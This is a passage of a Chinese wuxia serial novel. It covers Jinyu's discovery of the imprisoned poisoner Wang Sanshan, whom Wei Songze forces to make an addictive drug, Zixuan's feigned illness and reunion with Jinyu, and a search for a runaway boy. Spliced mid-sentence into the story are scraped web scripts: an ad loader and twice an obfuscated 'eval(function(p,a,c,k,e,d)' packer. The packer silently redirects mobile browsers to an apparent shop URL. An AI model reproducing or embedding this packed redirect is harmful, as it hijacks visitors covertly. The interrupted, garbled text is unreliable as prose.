“前辈所言有理。不管门主爱女被谁掳了去,肯定都是魏菘泽的主意,找到了他,紫璇姑娘在哪也就有眉目了。”贺新塬附和道。 “不仅如此,我还要让他从此以后断了窥视宝藏的念想,让他从此不能再作怪。” “可魏菘泽势力如此强大,我们要如何才能让他乖乖听话呢?” “他要是不肯收手,我便以天魄门的名义诛杀叛徒。人都死了,还怎么争?” 以天魄门如今的能力,恐怕没有那么容易吧?贺新塬心道,不过他还没有胆量直接说出来。 “那还等什么,我们来看看,那些消息点有可能打听到魏菘泽的下落。”贺新韵道。 “魏菘泽潜藏多年,自然不会轻易在江湖上露出自己的痕迹。但人过留声雁过留痕,即便他再小心,要操纵这么多事情就不可能不留下一星半点迹象。”许淑平便走便道,“那几个上太白山逼宫的天魄门旧属,咱们一直派人盯着,若有什么行动咱们必然清楚。从今日起多安排些人手,顺着往下挖,不仅要关注他们在做什么,还要看一看都在和谁接触,接头人的上封又藏在哪里。” “我明白了,这就去办!”贺新塬答应得飞快。 170. “毒”计 瑾瑜恢复期间,齐雅雯打开洞口,将崩裂至对面牢房中的石块和泥土全部回收,泥土照旧碾成粉末,撒在牢房地上,再将石头和着泥虚虚拼回去,以免被送饭的和看守发现端倪。 这几日间,看守又去过两次里面的牢房,回回都会带出几张写满字的纸。待瑾瑜有七八分好了,母子俩商量,如果暂时无法通过这个洞口脱身,不如去瞧一瞧里面被关押的是谁。如果能与之联手,说不准出去的希望就能变大一些。 当天夜里,瑾瑜养精蓄锐,待看守做完睡前最后的巡视,又等了一段时间才和齐雅雯一起扒开石块,然后钻了过去。 隔壁这个牢房依然没有上锁,他又轻又慢地推开牢门,尽可能不发出一点儿声音。齐雅雯扒在洞口,直到看见瑾瑜无事地消失在监牢转角处,才转过身子坐了下来,将洞口挡在了身后。 瑾瑜极为谨慎,猫着腰走得极慢,每到一处转角便停下脚步,只探出眼睛确保里面无人才继续往前。又走了几步,前方透出火光,很明显已到了关押犯人之处,瑾瑜小心探头,发现了两个人的身影。一人窝在榻上,另一人则伏案写着什么。瑾瑜担心自己贸然出现会引发两人惊吓,如果闹出动静引来看守就不好了,便先停住脚步,暂做观察。 可当桌边那人抬头时,他却吃了一惊。王三山?!!! 瑾瑜不再犹豫,立刻现身。王三山听到脚步声,抬头看到一张熟悉的脸,讶异之色不亚于瑾瑜。 “你小子怎么也在这儿?”王三山马上起身走到牢门边,“莫不是也被魏菘泽给抓了?” 瑾瑜尚未点头,在榻上假寐的章煦听到师父的动静,旋即起身,一瘸一拐地走了过来。 “你的腿?”瑾瑜盯着他不太利索的左腿,似乎不敢相信自己所看到的。 王三山猛地拧了一把自己的大腿,眼角随之泛起泪花,虽未出声,他的沉重叹息却显而易见。章煦拍拍他的肩膀,面带笑意地摇了摇头,然后向瑾瑜讲起师徒俩被抓的经过。 远在去年襄阳武林大会之时,高鹏自|戕,王三山携章煦离去,出门之后走了没多久,便被几个蒙面高手团团围住。两人并无多少抵抗之力,虽则以随身之毒弄死了两个人,但最终还是被擒获,之后便被送入了这间牢房。 “魏菘泽到底是谁?” 自方乂安走后,瑾瑜脑海中就一直盘桓着这个问题。齐雅雯不通江湖事,无法回答。直到此刻,听王三山师徒再度提到这个名字,便脱口问了出来。 王三山长话短说,将魏菘泽与文远骥的关系,还有二人曾因门主之争分道扬镳的故事告知与他。瑾瑜这才明白,从倪家庄起,紫璇几次遇到的危险都出自谁的手笔。由此,他就更加担心王三山被他掳来此处的目的。 “魏菘泽将老前辈抓来,可是为了制毒?” 王三山依旧忿忿,还是章煦答道:“我和师父被抓来后,长达数月都无人问津。若不是衣食从未短过,师父和我都要怀疑他们是不是抓错了人,又或是早就把我们忘了。一直到去年底,魏菘泽的下属才出现在牢里,逼迫师父为他们制炼毒物。” “狗娘养的魏菘泽!”王三山骂了一声,声音虽低,恨意却不浅,“老夫执意不肯,他竟然让人打断章煦的腿!” 细问之下,瑾瑜才了解了整件事的经过。 魏菘泽要王三山炼制的毒药并不寻常。温叔找到牢中时,还带着一些药丸和一颗状似香饵的东西。他要求王三山辨认二者的成分,并以此为蓝本,炮制出符合魏家要求的毒药。 王三山被无缘无故关在这里如此长的时间,本就积攒了一肚子的怨气。温叔来此,一无解释说明、二无认罪悔过,反而一上来就把他当作下人一样支使,更令他怒发冲冠。他一把掀掉温叔手中的盒子,高声斥道:“滚开!你算哪根葱?!老爷子叱咤江湖一辈子,岂是你能呼来喝去的。我偏不干!” 温叔尚有几分恭敬,见他怒气冲冲,又态度强硬,便不再坚持,离开了牢房。又隔了一段时日,魏菘泽亲自出马,着人将王三山和章煦押到自己面前,陪笑脸不成,就用章煦的性命要挟。 “那药有什么特殊之处么?魏菘泽为何执着于让前辈您来辨认?”瑾瑜问。 “老夫名声在外,隐居山林数十载,一朝出山,谁知却引来祸事!”王三山叹了口气,语气前所未有的疲惫。 章煦神色自若,认真答道:“那药丸并非毒物,成分也不算复杂,实则是一种特殊的迷药。” “迷药?魏菘泽要迷药做什么?” “说是迷药,效果却颇为奇特……” “那香中掺了大量的鬼压床,只要焚烧一点儿就能把一个健壮如牛的大汉立刻迷晕,”王三山接着说。 “鬼压床……”瑾瑜的头脑突然明亮起来,是小山匪用的那种香料! “那药丸里也有此物,不过还有别的成分。若给人吃下去,初时能让人精神亢奋,力气倍增,但过上五六个时辰便会身乏脱力,如果不再吃上一丸,中招的人便会挠心挠肺得挣扎整日,要不了两天就会精力耗竭而死。” “这……”这样的迷药闻所未闻,想到服下它的惨状,瑾瑜一时间说不出话来。 “魏菘泽将我关起来,便是要我为他复制这种特殊的毒药,甚至还要让它的药效更加猛烈……一开始我仍是不肯。他与我并没有什么情分,只不过在年少闯荡江湖时和我打过照面而已。他是苏明启喜欢的徒弟,那我就不可能瞧得上他,即便他几番赔罪也不可能让我改变主意!可……” 王三山停到这里,面上潮红再度泛起,可见他对魏菘泽的恨意极深。 瑾瑜又往章煦主要靠右腿支撑站立的身子瞧了一眼,已然明白魏菘泽用了什么手段。 “他们当着我的面打断了章煦的腿!如果我再不答应,他们就准备活活打死他,我……我……” 王三山如此恼恨,不仅是因为自己为虎作伥,帮着魏菘泽害人,更因为他违背了自己的意愿,被迫做了这等为人不齿的事情。 想象王三山当日处境,瑾瑜只有同情,转念又记起父亲也是这般,令他一下子不知道该说些什么。如果王三山为了至亲的徒儿不得不做坏人的刀并无不妥,为何方乂安就不可原谅呢? “对不起,师父,如果不是为了我……”章煦扶住因为愤怒而有些摇摇欲坠的王三山,叹息道。 王三山却猛地摇了摇头:“要怪也只能怪老头子我。年轻时以虚名为乐,老了却最终被其反噬。如果不是我名声在外,引来魏菘泽有意利用,又怎么会带累你受伤变瘸。你年纪轻轻就伤了腿,我如何对的起你的父母……” “不要紧的,师父。”章煦马上露出带有安抚意味的笑容,“我的腿已经长好了,不过有点跛而已,又不会影响我吃饭走路。您就别再难过了……” “不不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不,伤害一旦造成就无法挽回。总而言之都是老头子的不好,是我连累了你。” “小时候,我娘一个人带着我吃了不少苦头,却从不抱怨,还告诉我人活一辈子,不如意事总是多过于如意事,唯有学会看开才能活得舒心。”章煦扶着王三山坐到椅子上,蹲下来对他道,“一生中无论甜苦,人都无法改变,不如泰然处之。若一点点失去便锱铢必较,那一辈子就只剩下恨和怨,再也不会开怀了。所以,即便我现在没法子像以往那样走路,但至少我还活着,还呆在你身边,这就还不算糟糕。你要总是这样唉声叹气的,我也必然会自怨自艾,哀叹命运不公,然后这一辈子才叫真的完了。” 章煦每说一句,瑾瑜就点一下头,王三山虽然泪眼婆娑,听完这番话却也舒展了眉心。 “你说得对,你呀,年纪虽小,活得却比老头子通透多了。还是要多听你们年轻人说说。” “就是,我这个徒弟不赖吧。”章煦笑道。 “不赖不赖,有你是老头子后半辈子最大的福气。” 再度见到师徒俩说说笑笑,瑾瑜也一扫心中阴霾,跟着露出了笑容。 ********************** 仲春已过,地气回暖,魏宅内的树木花草都慢慢发出新芽,园中一派盎然春意。 这样的时节,紫璇的寒症却突然犯了,魏若琛急让温叔唤来苏茂霖给紫璇诊治。苏茂霖听说,心内焦急不已,却不敢在面上露出分毫。好不如易见到紫璇,身侧却一直跟着魏若琛、温叔等一干人并另一位魏菘泽新寻来的名医,他更加不能造次,只好尽力冷着脸,以免泄露消息。 一直到给紫璇摸了脉、看了她的气色,苏茂霖才稍稍放心。虽然她此时体内寒气势盛,身子虚弱发冷,但病势并不汹涌。和他同来的桑大夫也如此判断。两人斟酌了一副药方,定好了两日后来复诊后便离开,苏茂霖全程都无法和紫璇说上一句话。 半夜里,紫璇再度发起烧来,魏若琛处的下人赶紧到两位大夫所住的别院来请。桑大夫已经年过六旬,苏茂霖隔着他的房门让他安寝,无需再起来操劳,还说:”小小发烧而已,哪儿用得上两个大夫。” 到了紫璇的住处,果见她双颊通红,额头滚烫。魏若琛守在一边,温叔一个劲儿地劝他赶快去休息。可魏若琛说什么都要亲耳听到苏茂霖说她没事才肯放心离去, “她只是发烧,又没有生命危险,你慌什么!?” “四叔,你实话告诉我,她真的不要紧吗?” 苏茂霖只粗粗看了一眼就做出判断,魏若琛怕他仍对紫璇心存不满,故意轻描淡写,便有此一问。 苏茂霖明白他的心思,虽然厌恶他要逼婚紫璇,却也为他的这一点真心而庆幸。 “你拿我当什么人?要是连个发烧都治不好,我以后就不用在杏林里讨饭吃了。倒是你,要是熬坏了身体,让你爹亲自来过问,那才是砸了我的招牌呢!” 苏茂霖搬出自己作为医者的名声,让魏若琛不得不信,再加上温叔也在一旁不断重复着“老爷马上就回来了”等语,他这才同意回去。 随后温叔便请苏茂霖照看这里,自己陪了魏若琛去安寝。苏茂霖开好方子,让人去抓药熬药,终于捞到了单独和紫璇相处的机会。 原本应该高烧昏迷中的紫璇仿佛能够听到周围的动静,下人们刚走,她便睁开了眼睛。 171. 衷肠 紫璇表现反常,苏茂霖担心她在发热之外还有更严重的问题,便急忙俯下身去,柔声道:“觉得怎么样?很不舒服吗?” 紫璇却一扫刚才的病容,眼中添上些警觉,稍稍抬起脖颈绕过苏茂霖的肩膀,向外瞧了几眼,确认无人后才出声:“我没事,病病是我装出来的。” 原来,紫璇练了两个多月的碧影神功,已经小有所成,阴阳两股真气渐渐融为一体,不再彼此冲突,争个强弱。不仅如此,她还发现,自己竟然能够随心操纵二者,让其中一方隐伏,另一方活跃,从表面上看,便是极阴或极阳之相。 她心念一动,正好可以借此装病,若能瞒过医者,就可以拖延婚期,同时还能和苏茂霖见上一面,从他那儿了解瑾瑜受伤后的情况。 苏茂霖告诉紫璇,瑾瑜只受了皮外伤,只要处理得好便没有什么妨碍。至于他如今怎么样,他不便探望,就不得而知了。但牢中没有其他威胁,想来也不会有什么问题。想起方乂安和瑾瑜的关系,苏茂霖动了动嘴,但最终什么都没说。 第二天魏若琛来时,紫璇果然退了烧,人也清醒不少,能够和他说话了。 悬了一晚上的心终于放下,他道:“四叔医术果然高明,你这次好得比去年那次快。” “毕竟是春天,没有那么冷,发病便不会很厉害,倒也不全是苏茂霖的功劳。” 魏若琛知道两人过节颇深,便没有再夸,换了个话题:“烧是退了,但你的寒症还需时间平复,切不可大意。后面免不了还是要他来多帮你瞧一瞧。” “知道了。”紫璇颇不耐烦,“你现在说话倒是有几分大人的模样,还会规劝起我来了。” “也该长大了。”魏若琛不好意思地笑了笑。 紫璇想坐起来,魏若琛怕她着凉,起身拿了件披风帮她披在背上。 做这番举动时他多少有些忐忑,担心太过殷勤会惹来紫璇的反感。然而紫璇不仅没有皱眉头,反而抬头冲着他微笑,还说了声“谢谢”。 魏若琛立即眉开眼笑,话也多了起来:“生了病就只能躺在床上,最无聊了。” 紫璇笑着歪了歪脑袋:“还说自己长大了呢,怎么说起话来还这么孩子气?” “我说得不对吗?你那么喜欢练功,肯定不喜欢被困在病榻上……”魏若琛说到一半,自动闭上了嘴。将她困住的,又何止是病榻,他还有他的父亲才是最大的罪魁祸首。可是他虽然有本事让父亲把紫璇送来,却不可能说服他把人放了。 “你有什么想吃的想玩的,告诉我,我叫人通通办了来,好不好?”带着愧疚,魏若琛将话题带开,哪怕只有些微用处,他也希望紫璇在他这里能开心一点。 “我……”紫璇欲言又止,明显有答案,却说不出口。 “你尽管说,只要是世上有的,我爹肯定能办到。” “到不必劳烦你爹……”紫璇顿了顿,才最终说出了心中所想,“我想和方瑾瑜见一面。” 魏若琛微微变色,可只过了一小会儿,便硬生生扯起嘴角:“这有何难?我会跟温叔说的。你安心养病就好。” 仅仅过了一日,魏若琛就履行了承诺。 紫璇被侍女搀进屋内的时候,还以为里面的人是魏若琛,直到看到转过身来的瑾瑜那双关切的眼睛,才松开了侍女的手,奔进屋内,奔到了瑾瑜怀里。 瑾瑜将人紧紧拢住,仿佛松开一点儿怀中之人就会再次消失一般。两人各自垂泪,许久才放开彼此。瑾瑜用袖子拭去紫璇的泪水,笑着道:“魏若琛人还不错,特地给我换了件新衣服,袖子是干净的。” 紫璇则擒着泪,上下打量他:“伤好了吗?” “好的差不多了,就是有些疤而已,不打紧。” “真的吗?” “真的,要不我把衣服脱下来,给你看看?”瑾瑜说着便真的扯开衣襟做出脱衣服的样子。 紫璇忙背过身子,嗔道:“不行!我不能看。” 瑾瑜走上一步,转到她面前:“好好好,我乖乖站着就是。” 紫璇白了他一眼,笑了。 “你终于笑啦。” “齐姨怎么样?” “我和娘一切都好,你无需操心我们。” 紫璇点了点头,内里却依旧担心,但她不想让瑾瑜看出来,便拉着他的手,将他带到桌前坐下。桌上有魏若琛让人提前准备的酒菜点心。她选了几样放到他面前的碗里:“吃点吧,这些日子,你们肯定都没好好吃过东西。” 瑾瑜却一直摇头,目光一刻也不想离开她:“不忙,让我先看看你。” “我没事,没受伤没生病,除了没有自由,其他都好。” “魏若琛还强迫你嫁给他吗?” 紫璇摇头。瑾瑜稍稍松了一口气:“那就好。” “若不是因为我,你也不会被困在此处,受这样的委屈。”想起方乂安的所作所为,瑾瑜还是十分抱歉。 “你们不也是因为我才被抓来的吗?”紫璇握住他想收回的拳头,柔声道。 “不,不是的。这件事一开始就是我爹帮忙设的局,虽然他是被迫的……” 不用多说,紫璇也能明白,魏菘泽以瑾瑜的性命相要挟,迫使方乂安诱拐齐雅雯。 “他也是为了你,我不会怪他,更不会怪你。源头上来说,还是因为魏菘泽想抓我才连累了你的母亲和你。你爹说得没错,和我在一起,你只会不断陷入危局……” 瑾瑜不愿听她继续说下去,马上道:“你别想又拿这个理由来赶我走!” “我不是这个意思,”紫璇笑着,“我不会再推开你了。” “就算是刀山火海,两个人也比一个人好。我喜欢你,只想和你在一起,什么危险苦难,我们都可以一起面对。” 一双眼睛瞧着另一双眼睛,眸子里的深情远超出言语所能承载的分量。 “一起面对。”紫璇再次把头搁到瑾瑜胸前,隔着衣服感受他有力的心跳。 “我有件事要和你说。”过了许久,瑾瑜的声音才重又响起。 “什么?”紫璇问。 瑾瑜朝四周看了看,这是一个三面有窗的轩室,难保周围没有其他人探听,还是小心为上。于是将紫璇扶正,拉起她的手,用指尖在她的手心写下了“王三山”三个字。 紫璇立刻醒觉,双目圆睁,食指向下,指了指地下。 瑾瑜点头,目光幽深。 “为了什么?”紫璇用口型发问。 瑾瑜又写了一个字:“毒”。 “什么样的?” “上瘾。” 紫璇低头思索,难道是和木兰庄中差不多的毒药吗?魏菘泽要做什么? 两人交流到此处,侍女便进来说,看守已经来了,要带瑾瑜回牢房。紫璇暂且放下此事,问侍女道:“他还没来及吃一口,可否劳烦你寻个食盒,把这些东西打包了,让他带回去?” 侍女稍作犹豫,但想来这些原本就是少爷吩咐给这个人准备的,在哪吃应该都可以,便点了头,又去取食盒。 紫璇趁机贴近瑾瑜耳边,又轻又快地说道:“告诉王老前辈,我一定会设法救他,让他暂耐一时。” 瑾瑜还来不及回话,侍女已经回来,只好深深点了两下头表示他会照办。 “帮我跟齐姨问个好。”紫璇最后说了一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972064|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛还恋恋不舍地望着瑾瑜。 “好。”怕她难过,瑾瑜拿了食盒后没敢多做流连,再不愿意也还是立刻出门跟看守走了。 随后,魏若琛便自门口转出,看着仍然低头出神的紫璇,心里很不是滋味。 刚刚他一直在窗边听着二人说话,还能隐约看到二人依偎在一起的模样。这些自己连想都不敢想的亲密举止,还有紫璇对着他温情脉脉的语调,都令他无比嫉妒,但这份嫉妒反过来又让他嫌弃自己。 发觉他的存在后,紫璇也只讶异了一瞬。按照魏若琛的性子,必然会好奇瑾瑜是如何与她相处的,他在这里不奇怪。 两人相对无言,很久很久,魏若琛才问了一句:“你怕死吗?” 即便诧异,紫璇仍旧答道:“以前怕,现在……也怕,但好像可以接受了。” “能和我讲讲吗?” “我和你一样,自小疾病缠身,很早便知道自己寿数有限。死一直潜伏在那儿,仿佛某一天只要我推开门就会面对它。因为清楚,所以更加害怕。特别是想到身边的朋友姐妹他们还会有灿烂的一生,而我的生命将会在几年后的某一天戛然而止。于是,在害怕之余,还会痛恨命运为何偏偏待我不公。心情糟糕到了极点,甚至会突然蹦出一个念头,不如现在就死了,也好过到了某天你有了某样眷恋的东西,死亡就会变得再也无法忍受。” “不就是这样吗?”魏若琛的鼻头发酸,紫璇说的和他如今的想法一模一样。果然,只有她才能和自己想到一处。 “但我现在不这样想了。” “因为什么?”魏若琛问得很急。 “寿数虽不由自主,可活成什么样却是我说了算。若我能尽可能没有遗憾地活完这短暂一生,比起庸庸碌碌只知哀叹还是要强一些。” “没有遗憾地活着……就能坦然赴死吗?” “我不能百分之百肯定,但……”紫璇目光望向门外,想起上一回死里逃生刚刚醒来时的情形,“濒死之际,你最先想到的就是遗憾。对死亡的恐惧大半出自那些想做却未做之事,所以,活着的时候尽量少一些遗憾,大概也就能越发从容地赴死吧。” 魏若琛一动不动,表情也僵在脸上,仿佛听不明白她的意思。紫璇便又道: “几个月前,我曾亲眼目睹一位前辈之死。她在临死之际告诉我,自己这一生活得畅快淋漓,想做的事从未束手,即便马上要死也没什么后悔。自己这一生活得畅快淋漓,想做的事从未束手,即便马上要死也没什么后悔。” “这位前辈必然功成名就,几无遗憾。”魏若琛认真道。 紫璇却笑着摇了摇头:”她苦心奋斗二十余年的基业被我们毁掉,又遭遇下属背叛、对头毒杀,用平常的眼光来看,只能算是功未成名不就。扶助世间女子、让她们能够自作主宰是她毕生理想,虽然走了弯路,虽然中途功败垂成,也不能抹杀她为此所付出的每一滴心血。对她来说,没有成功固然遗憾,但至少她从未退缩,无论遇到何种绝境都会奋力一搏,直到避无可避也要迎头痛击。 “这种命运只由自己说了算的信念很令我佩服。无论如何,你我都无需被所谓的不幸困住,只要我还活着,就要活出想要的样子。” “可是……”魏若琛垂着脑袋,呼吸不由得急促起来,“总有些让你眷恋人世的东西,不是吗?” “眷恋是羁绊,也是勇气,既让我贪恋人间,却也让我想到死亡时没有那么害怕。毕竟,有所眷恋,不至少说明了这一生之中,总还有些让人满意、从中生出没有白活之感的时刻么?” “是吗?”魏若琛悠悠发问,似乎正在和内心的另一个自己作斗争。 172. 帮手(一) “去年底,我爹总算来了一次。但并不是因为想我,而是我病情加重,温叔急忙修书,他才不得不来的。大夫见问,便说了实话,告诉他我最多再活两年,要是不好好养着,很可能今年夏天就得……爹最听不得这种话,一怒之下杀掉了他。 “后面他又陆续找了几个大夫,每个人说得都差不多,还有的甚至让我爹早做准备。无一例外,每一位大夫最终都有去无回。再后来许多名医都听闻这里有位待死之人,他的父亲却容忍不了真相,于是许多还没被我爹找上门的连夜携家带口出逃,没逃得了的也会故意说出违心之语,来保住自己和家人的性命。” 魏若琛眼圈泛红,却倔强地半仰着头,不让自己的眼泪掉下来。一直安静听着的紫璇有心安慰,却又深知面对生死大事,任何劝解都显得苍白无力。 半晌,魏若琛才撇着嘴继续道:“我爹知道他们在说谎,可杀再多的大夫也无济于事,他便开始想其他法子。他肯同意把你送到我这里,还想出让你嫁给我让我开心的法子,无非都是看在我命不久矣的份上,尽力迁就我罢了。 “可笑我年纪比你大,却一直活成个不懂事的孩童模样。我虽然喜欢你,但好像用错了方法,你说人一定要追求自己真正想要的,但像我这样,是不是也不对。” “追求自己想要的,肯定不算错。”紫璇对上他的眼眸,认真道,“但是想要并不一定能够得到,更何况,你用的方法并不能让你获得想要的东西,不是吗?” 魏若乎终于被点醒,雾蒙蒙的眼眸骤然泛出光泽,嘴角也不似刚才那样紧绷。 “而且,你真的喜欢我吗?又或者,即使你喜欢我,你想得到难道是我这个人吗?” 紫璇缓缓说出上面的话,然后便慢慢等着他。魏若琛并不坏,只是从小被圈养起来,又缺少父母和朋友陪伴,不通人事而已。 果不其然,魏若琛开始认真思考起紫璇提出的三个问题,他想要的到底是什么呢。可再怎么想,他都找不出答案,他只知道,他最希望的,就是紫璇可以陪着他,一直到他不得不离开世上的那一刻。 紫璇看出他的迷茫和困惑,拍拍他的肩膀:“越是重要的问题,就越不会那么快有答案的。” “谢谢你。和你说话,总能让我开心起来。”魏若琛点点头,笑容和煦。 紫璇微笑不语。 “你和方瑾瑜说话,是不是也会变得开心?” 紫璇微微尴尬,但还是答道:“是。” “所以你喜欢他?” “也不全是因为这个原因。”紫璇想了想,又加上,“他很懂我,会在我不开心的时候想办法开导我,对我全心全意……总之,跟他在一块儿总是很安心。” 提起方瑾瑜紫璇是魏若琛从没见过的,目光柔软、面带笑容,仿佛这世间再也没有什么事能够在这个时候分走她的注意力。 他几乎是下意识地发问:“如果我早一点遇到你,比他更爱你,你会喜欢我吗?” 这一次,紫璇并不气恼,反而很真诚地回答:“我不知道。你没办法假设过去,就像你无法改变要死的事实一样。我只知道,现在我喜欢的是他,想一直在一起的也是他。” *********************** 当天下午,苏茂霖和桑大夫再来复诊,都判断紫璇这次的寒症已经收尾,再多两日便可痊愈。看诊时,紫璇向他使眼色,让他设法留下。 开好方子,刚迈出紫璇所住的别院,苏茂霖借口有一味药材需要替换,和桑大夫商议了几句,桑大夫也觉得甚好。他便让下人先送桑大夫回去,又让侍女赶紧追回拿了方子去开药的小厮。自己则趁着无人之时回到了紫璇房中。 紫璇开门见山,将王三山也被关押在此之事转告给苏茂霖,又道:“魏菘泽处心积虑,不知从哪里搞来到了这两样东西,如今又逼着王老前辈研制药物,我怀疑他是想用此物威胁江湖高手听命于他。如此一来,他的势力只会大到不可想象,我们再想与之抗衡便难上加难。” “你的分析多半不错。可是我们现在能做什么?” “无论如何,都要先把王老前辈救出来。” “魏菘泽在此布下了天罗地网,你我的举动一一都落在姓温的眼中。我想把你在此处的消息送出去都不可能,更别说闯入牢房,将两个大活人救出去了。” 这一点紫璇早已想到:“单凭我们两人肯定不行,所以我们得找帮手。” “帮手?”苏茂霖不解,“我们又出不去,怎么找帮手。” “用对了法子,就可以出去。” 说着,紫璇便从自己腕上解下那枚带着“骆”字标记的绿色手绳,告诉他骆雁声的身份及所在之处。 “最秒的是,骆前辈医术高明,你只消说寻他来是为了给魏若琛瞧病便可瞒过魏菘泽。再者,骆前辈隐匿江湖,一向不与武林中人往来,想必魏菘泽认不出他,也就不会对你引人前来的真实目的有所怀疑。” 紫璇说罢,苏茂霖已经明白要怎么做了。 第二天,苏茂霖便拟了个治疗心疾的方子交予温叔。温叔又将桑大夫请来,请他验看此方是否对症。 桑大夫捋着胡子斟酌良久,方才开言道:“这黄芪、茯苓、白术补气,正对公子气血亏虚之症;丹参、桃仁、川穹等物有活血化瘀的功效,正好解决公子心血淤积、阻滞不畅的问题,老夫都觉得甚妥,只有这冰片……” “冰片怎么了?” 桑大夫果然问到这一味药材,苏茂霖微微一笑,不慌不忙问道。 “冰片能开窍醒脑、清热止痛,一般用于热症,从未见人拿来对处心疾。苏大夫此举,可有什么说法么?” “前辈所问,正是此方最为关键的地方。” “怎么说?” 不仅桑大夫皱起了眉头,一旁的温叔也向苏茂霖投去不太信任的一瞥。 “这就得从我早年学医时说起了。”苏茂霖稍稍坐正,“我遭人陷害,二十五岁前都被关在一处地牢里。好不容易逃出来,无处谋生,只有靠少时偶然学到的一点医药之理给染了小病的人开方来填饱肚子。 “大约七八年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988869|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我四处做游医时路过南阳,也曾遇到过一位罹患心疾的病人,当时我不知天高地厚,照着医书给他开了一贴药,那人吃下去当天便喘不上气,病势反而更见沉重。他的家人便立即叫了一伙帮手来砸我的摊子,还说要将我告官。 “就在这时,一位高人从天而降,看了我的脉案和方子,立刻指出我只是照搬医书,不懂得根据病人的差别稍作变通,这才药不对症。他大笔一挥,重新写了一个方子交予病者家属,告诉他这副药吃上两日,必有好转,之后便可再去寻他换新的方子。 “要是病人吃了药有任何问题,亦可直接找上门追究。那家人这才半信半疑地放过了我,又去重新抓药。当时那副药我看过,除了一般治疗心疾的药物,还多了一味冰片,当时我也疑惑,便问了那位高人。 “高人看着我,满脸鄙夷,告诉我用药讲究君臣相济,有些药为君,就需得臣来辅佐它。这副药中,冰片为臣,有了他,川穹等药材才能发挥出药效。否则,同样的药就是吃了一百副下去也无济于事。这番话在我心中萦绕多年,后来我行医时便会从病人的实际出发,同时也更加着意研究药理,开方时将那‘臣为君佐’的道理运化其中。” “君臣之说老夫当然知道。可这冰片能辅佐川穹却是第一次听说,你拿得准吗?当年那位病人吃了药,后来怎么样?”桑大夫对用药极为谨慎,问得也很细致。 “那病人吃了几天,果然病势有所缓解。据说那位高人后来又开了一个新方让病人安养,虽然我没见过那个方子,但我听说那位病人自此以后又足足活了十年。” “这么灵验?” “对,千真万确。” 苏茂霖如此笃定,进一步勾起了温叔的兴趣。 “那四爷可知这位高人现居何处?如能将人请来,三位一起斟酌,不就更能助少爷治好心疾了吗?” ************************ 紫瑛正坐在院中逗鸟,小雪球叽叽喳喳,在笼中扑棱着翅膀,逗得几个婢女还有她咯咯笑个不停。 杜彦成自外面匆匆归来,手里还拿着一封书信。婢女们见状立刻退到外面,让他们二人单独叙话。杜彦成额上有汗,显然是一路赶着回来的,紫瑛一边问:“什么事这么着急”,一边用帕子为他擦去。 “刘从毅,他有下落了。” “真的!”紫瑛立刻接过他递来的信。 “人是在万年县找到的。我拖了京兆府*的一个老板,请他将咱们送去的画影图形贴在街面上,还悬了赏钱。仅仅过了两日就有人拿着告示找到他那儿,说是自己曾经在万年县见过这么一个孩子。当时那个孩子潜入县里一间酒楼偷东西吃,被伙计发现了,给捆起来猛打了一顿,人还被扣下,说要让他做满三个月的工来赔补。那人觉得和画上的孩子长得很像,可他也只见过那么一次,不敢肯定。” “那我们亲自去看看?”紫瑛仰面征求杜彦成的意见,眼中盛满了焦急和担心,他立刻答应。 ————————— *今陕西西安 173. 帮手(二) 两人日夜兼程,赶了足足四日路才到了京兆府。 杜彦成的朋友是本地的收货商人,人脉颇广,从上面的官府到下层的乡里小民都能说上话,最适合大海捞针寻人。同时他又是个极热心的,发信给杜彦成之后便派手下随那位报讯之人同去万年县,在酒楼中找到了可能是刘从毅的孩子,花了些钱把人弄出来,送到了他的宅中。 可这个孩子极为倔强,怎么问都不肯说出自己是谁、家在何方。而他的脸在酒楼里又被打得鼻青脸肿,已经无法和图画上的人比对。友人只能先请个大夫给他养伤,同时再遣人往金陵送信,请杜彦成那儿来个人辨认。 然而,这个孩子只在他那儿待了一个晚上,第二天便跑得不知踪影。杜彦成的朋友只好派了几拨人分不同方向去找。按理说,一个受了伤脸被打成那样的少年并不多见,他以为只要多打问打问必然能有回音,哪知道派出去的人连找了三日,都没有任何结果。 紫瑛在这位收货商人的宅中听到他叙述完全部经过后,已经有了决断,他最有可能的去向就是太白山。他不远千里来到这儿,报仇是唯一的理由。虽然因为偷东西被抓无法脱身,耽搁了时间,可一旦被解救就再次设法离开。无论他现在在哪、又有何打算,他的最终目的地都是太白山。 谢过这位好心的朋友,紫瑛立刻出门上马,向着郿县方向疾驰。其实她很清楚凭刘从毅的功夫根本不可能有机会害死文远骥,自己即有可能只是在杞人忧天。但一想到他那副咬牙切齿的模样,她便心中难安。即便文远骥不会出事,她也怕刘从毅因此受伤。毕竟天魄门自去岁后半起守卫变得极其森严,如果他们把杜彦成当作敌人的奸细就不好了。 万年县离郿县只有二百多里,紫瑛催促坐骑丝毫不停,恨不能立刻飞奔至太白山上。杜彦成虽然四处行商,但像这般艰苦急行却还是头一次,只不过他将紫瑛的急迫看在眼里,即便不舒服也只好忍着。 两人刚到太白山脚下,守冲堂的弟子便立即现身,见到来人是紫瑛才放下警戒,还颇高兴地说:“紫瑛姑娘,你可回来啦,大家伙都问你呢。” 